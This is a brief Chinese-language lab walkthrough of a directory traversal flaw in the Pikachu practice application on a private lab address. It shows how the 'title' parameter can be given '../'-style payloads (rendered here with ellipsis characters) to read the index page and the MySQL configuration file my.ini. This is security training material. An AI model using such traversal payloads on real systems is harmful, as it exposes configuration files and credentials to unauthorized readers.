第一步：访问目标网站

第二步：单击第一个链接和第二个链接查看内容

第三步：发现URL是通过title传参过去的，那么是否可以访问某些敏感文件

访问首页：http://192.168.106.130/pikachu/vul/dir/dir_list.php?title=…/…/…/index.php

访问敏感文件：http://192.168.106.130/pikachu/vul/dir/dir_list.php?title=…/…/…/…/…/mysql/my.ini